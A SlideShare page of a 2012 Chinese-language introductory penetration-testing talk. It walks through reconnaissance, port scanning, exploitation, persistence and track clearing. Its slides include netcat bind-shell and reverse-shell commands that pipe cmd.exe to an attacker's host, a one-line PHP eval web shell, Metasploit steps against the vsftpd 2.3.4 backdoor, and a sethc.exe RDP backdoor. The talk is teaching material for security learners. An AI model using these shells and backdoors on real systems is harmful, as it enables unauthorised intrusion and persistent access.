SlideShare a Scribd company logo
Submit Search
Upload
滲透測試 Talk @ Nisra
Report
Orange Tsai
Follow
•
11 likes
•
10,001 views
1
of
45
滲透測試 Talk @ Nisra
•
11 likes
•
10,001 views
Download Now
Download to read offline
Report
Technology
Orange @ NISRA 2012 / 05 / 22
Read more
Orange Tsai
Follow
Recommended
網頁安全 Web security 入門 @ Study-Area
Orange Tsai
58.6K views
•
82 slides
Security in PHP - 那些在滲透測試的小技巧
Orange Tsai
20.6K views
•
47 slides
關於SQL Injection的那些奇技淫巧
Orange Tsai
5.3K views
•
32 slides
台科逆向簡報
耀德 蔡
5.4K views
•
154 slides
PWNの超入門 大和セキュリティ神戸 2018-03-25
Isaac Mathis
9.6K views
•
102 slides
ROP 輕鬆談
hackstuff
26K views
•
82 slides
More Related Content
What's hot
Why Task Queues - ComoRichWeb
Bryan Helmig
16.7K views
•
30 slides
SSH力をつけよう
(^-^) togakushi
49.5K views
•
62 slides
OPcacheの新機能ファイルベースキャッシュの内部実装を読んでみた
Yoshio Hanawa
14.5K views
•
40 slides
Linux Binary Exploitation - Stack buffer overflow
Angel Boy
2.6K views
•
92 slides
Sql Injection 0wning Enterprise
n|u - The Open Security Community
4.9K views
•
21 slides
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
SmartNews, Inc.
32K views
•
115 slides
What's hot
(20)
Why Task Queues - ComoRichWeb
Bryan Helmig
•
16.7K views
SSH力をつけよう
(^-^) togakushi
•
49.5K views
OPcacheの新機能ファイルベースキャッシュの内部実装を読んでみた
Yoshio Hanawa
•
14.5K views
Linux Binary Exploitation - Stack buffer overflow
Angel Boy
•
2.6K views
Sql Injection 0wning Enterprise
n|u - The Open Security Community
•
4.9K views
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
SmartNews, Inc.
•
32K views
Zabbix監視運用業務の自動化事例
OSSラボ株式会社
•
9.4K views
Pythonはどうやってlen関数で長さを手にいれているの?
Takayuki Shimizukawa
•
38.1K views
Offzone | Another waf bypass
Дмитрий Бумов
•
788 views
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
joaomatosf_
•
10.2K views
Linux Binary Exploitation - Return-oritend Programing
Angel Boy
•
2.6K views
Web-App Remote Code Execution Via Scripting Engines
c0c0n - International Cyber Security and Policing Conference
•
5K views
PHP の GC の話
y-uti
•
18.5K views
密碼學漏洞與他們的產地 Crypto fail and where to find them
John L Chen
•
4.5K views
逆向工程入門
耀德 蔡
•
13.7K views
PHP と SAPI と ZendEngine3 と
do_aki
•
16.1K views
SolrとElasticsearchを比べてみよう
Shinsuke Sugaya
•
52.3K views
Metasploit For Beginners
Ramnath Shenoy
•
993 views
Goの時刻に関するテスト
Kentaro Kawano
•
3.2K views
Life in a Queue - Using Message Queue with django
Tareque Hossain
•
15K views
Similar to 滲透測試 Talk @ Nisra
WebConf 2013「Best Practices - The Upload」
Orange Tsai
14.4K views
•
44 slides
Some things before network attack
Canaan Kao
481 views
•
61 slides
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
Wales Chen
1.3K views
•
49 slides
Splunk資安智慧分析平台
Ching-Lin Tao
4.5K views
•
60 slides
02.python.开发最佳实践
Na Lee
895 views
•
29 slides
揭秘家用路由器Ch10 sharing
Yi-Jun Zheng
73 views
•
21 slides
Similar to 滲透測試 Talk @ Nisra
(20)
WebConf 2013「Best Practices - The Upload」
Orange Tsai
•
14.4K views
Some things before network attack
Canaan Kao
•
481 views
賽門鐵克端點安全教戰守則 - Symantec Endpoint Protection 及 Symantec Critical System Protec...
Wales Chen
•
1.3K views
Splunk資安智慧分析平台
Ching-Lin Tao
•
4.5K views
02.python.开发最佳实践
Na Lee
•
895 views
揭秘家用路由器Ch10 sharing
Yi-Jun Zheng
•
73 views
ChinaNetCloud Online Lecture: Fight Against External Attacks From Different L...
ChinaNetCloud
•
164 views
台科大網路鑑識課程 封包分析及中繼站追蹤
jack51706
•
3.3K views
Win dbg入门
晓锋 陈
•
549 views
Windbg入门
晓锋 陈
•
1.4K views
Brochure ahn lab trusguard utm
ahnlabchina
•
307 views
Hacking Nginx at Taobao
Joshua Zhu
•
4.3K views
Module 08 防火牆
rbk19871124
•
1.3K views
Side-channel-attack-101
Kevin2600
•
558 views
電腦網路 網路安全
bruce761207
•
557 views
網路安全
bruce761207
•
438 views
網路安全
bruce761207
•
942 views
Internet Security
bruce761207
•
432 views
Linux Network Monitoring
Kenny (netman)
•
876 views
网站运维与监控
yunhaozou
•
1.3K views
滲透測試 Talk @ Nisra
1.
滲透測試 Orange @ NISRA
2012 / 05 / 22
2.
目的 1. 以駭客、攻擊者的眼光、手法,對系統進
行安全性測試 2. 我們都是好孩子,要經過授權唷!^___^ 3. 基礎概念取向 – 技術 Detail 不講 – Web-based 自成一個章節不講
3.
不專業的人來講專業的東西...
4.
1.
Reconnaissance 2. Scanning 3. Gaining Access 4. Maintaining Access 5. Clearing Tracks 說是這樣說拉,不過實際上...
5.
Reconnaissance 用盡一切方法拐到資訊 1. Google
# 想想人肉搜索 2. Who.is 3. DNS Zone transfer 目標是? 有沒有防火牆? IDS? WAF? 網路架 構長怎樣? 網頁伺服器是不是 Virtual host ?
6.
資訊越多,入侵機會越多 服務越多,入侵機會越多
7.
Google://"mail.xxx.xxx.xx"
8.
http://whois.sc/
9.
Cont. 案例分享 • 利用
code.google.com 進行滲透測試。 • 還記得上禮拜教的 Git 嗎?
10.
Scanning 1. 觀察、分析、思考。 2. Scanning
Port # Nmap 3. 弱點掃描 # Nessus, Metasploit # WebInspect, Acunetix 3. 猜密碼 # Hydra, Ncrack – 空密碼, 123456, 帳密相同 – 帳號永遠比密碼難猜
11.
Cont. 案例分享 • *經典範例* •
RDP 後門 – sethc.exe • 連上遠端桌面第一件事不是打帳號,是快 速按下 shift 五次!! • 同理,看到登錄畫面第一件事是猜密碼、 預設密碼。
12.
一般的應該像這樣
13.
不太正常的會長得像這樣
14.
比較有創意的會弄成這樣
15.
比較有點 Level 又會這樣做
16.
淡定低調風 ˊ_>ˋ
17.
Scanning port • Port
= 埠、端口、窗戶 = 主機提供服務的窗口 = 有機會入侵的地方 • 範圍從 1 到 65535 • 21 = FTP • 23 = TELNET • 80 = WWW
18.
檢查窗戶有沒有開? • telnet www.google.com
80 • Netcat – nc www.google.com 80
19.
NetCat
http://sectools.org/
20.
折凳的奧妙之處,就是可以藏在民宅之中,隨手可 得,還可以坐著它來隱藏殺機,打完更可以坐下休 息,就算被條子抓到也告不了你,真不愧為七大武 器之首!
21.
NetCat Usage •
nc apple.com 80 # 檢查 port 開啟是否 • nc apple.com 1-100 # 一次掃描多個 port • nc -v apple.com 80 # 詳細模式 • nc -l -p 80 # 開 (listen) 一個 port • nc -e cmd.exe -lp 80 # 將執行內容綁到連線上
22.
NetCat 可以幹嘛? (1/3) •
範例主角 Cyndi & 大樹哥 • Cyndi 要看 大樹 的網頁伺服器開了沒? – Cyndi : nc 大樹 80 • Cyndi 要傳檔案給 大樹 – 大樹 : nc -lp 12345 > a.zip – Cyndi : nc 大樹 12345 < a.zip
23.
NetCat 可以幹嘛? (2/3) •
Cyndi 入侵了 大樹 的電腦,想建個後門 – Cyndi 在 大樹 的電腦執行 : – nc -lp 888 -e cmd.exe – Cyndi: nc 大樹 888 即可連上後門 888
24.
NetCat 可以幹嘛? (2/3) •
大樹 裝了防火牆,又是在內網,怎麼辦 ? – 動動腦,三秒鐘把後門改造成 反連後門( Back connect) – Cyndi 執行 : nc -lp 888 – Cyndi 在 大樹 電腦執行 : – nc -e cmd.exe Cyndi 888 888
25.
NMAP Usage • http://nmap.org/
– nmap -sT 127.0.0.1 # 起手式 – nmap -sT -v 127.0.0.1 # 詳細模式 – nmap -sT 127.0.0.1-254# IP range – nmap -sT -p 80 127.0.0.1 # 指定端口 – nmap -sT -p 1-8 127.0.0.1 # Port range – nmap -A 127.0.0.1 # 檢測作業系統
26.
實作 • 請用 nmap
找出 orangee.tw 開了網頁伺服 器再奇怪的 port 上
27.
Gaining Access 1. 關鍵點,請善用盡上一步取得的資訊。 2.
存取權限分為 Read Write eXecute 3. 失敗請退回上一步。 • http://exploit-db.com/ • Metasploit
28.
http://exploit-db.com/
29.
Cont. 案例分享 • CVE-2012-1823
– PHP CGI Argument Injection • 為啥講它?
30.
http://ww.facebook.com/?-s
31.
Reconnaissance
32.
Scanning
33.
Gaining Access
<?php @eval($_POST[cmd]); ?>
34.
Metasploit (1/2)
35.
Metasploit (2/2) • Exploits •
Auxiliary • Payload
36.
實作 (有時間的話) 1. 使用
nmap 發現有開 FTP 服務 2. 使用 nc 連接發現 FTP 是由 vsftp 架設並 且版本是 2.3.4 3. 透過 exploit-db 搜尋發現 vsftp 2.3.4 存在 backdoor !! 4. 使用 Metasploit 進行攻擊 – unix -> ftp -> vsftpd234 backdoor
37.
Maintaining Access 1.
普通使用者 vs. 最強使用者 2. 提權 ( Privilege Escalation ) 3. 翻屍體 4. 如何想來就來想走就走! – 後門 Backdoor – 木馬 Trojan – 乳器 Rootkit
38.
實作 ( 詳細指令在
txt 裡 ) 1. Mimikatz – 原理會提一下,不懂就算了XD 2. Enlightenment.tgz – 懶人包 3. Mempodipper.c – 原理聽聽就算了XD
42.
Clearing Tracks 1. 俗稱的擦屁屁 2.
任何動作都會留下紀錄 3. 壞事不要幹,要幹就要懂的保護自己 舉例:
43.
傻傻的 • 保護當事人,徹圖
44.
安全的本質是什麼?
http://hi.baidu.com/yuange1975/blog
45.
Thanks Orange@nisra.net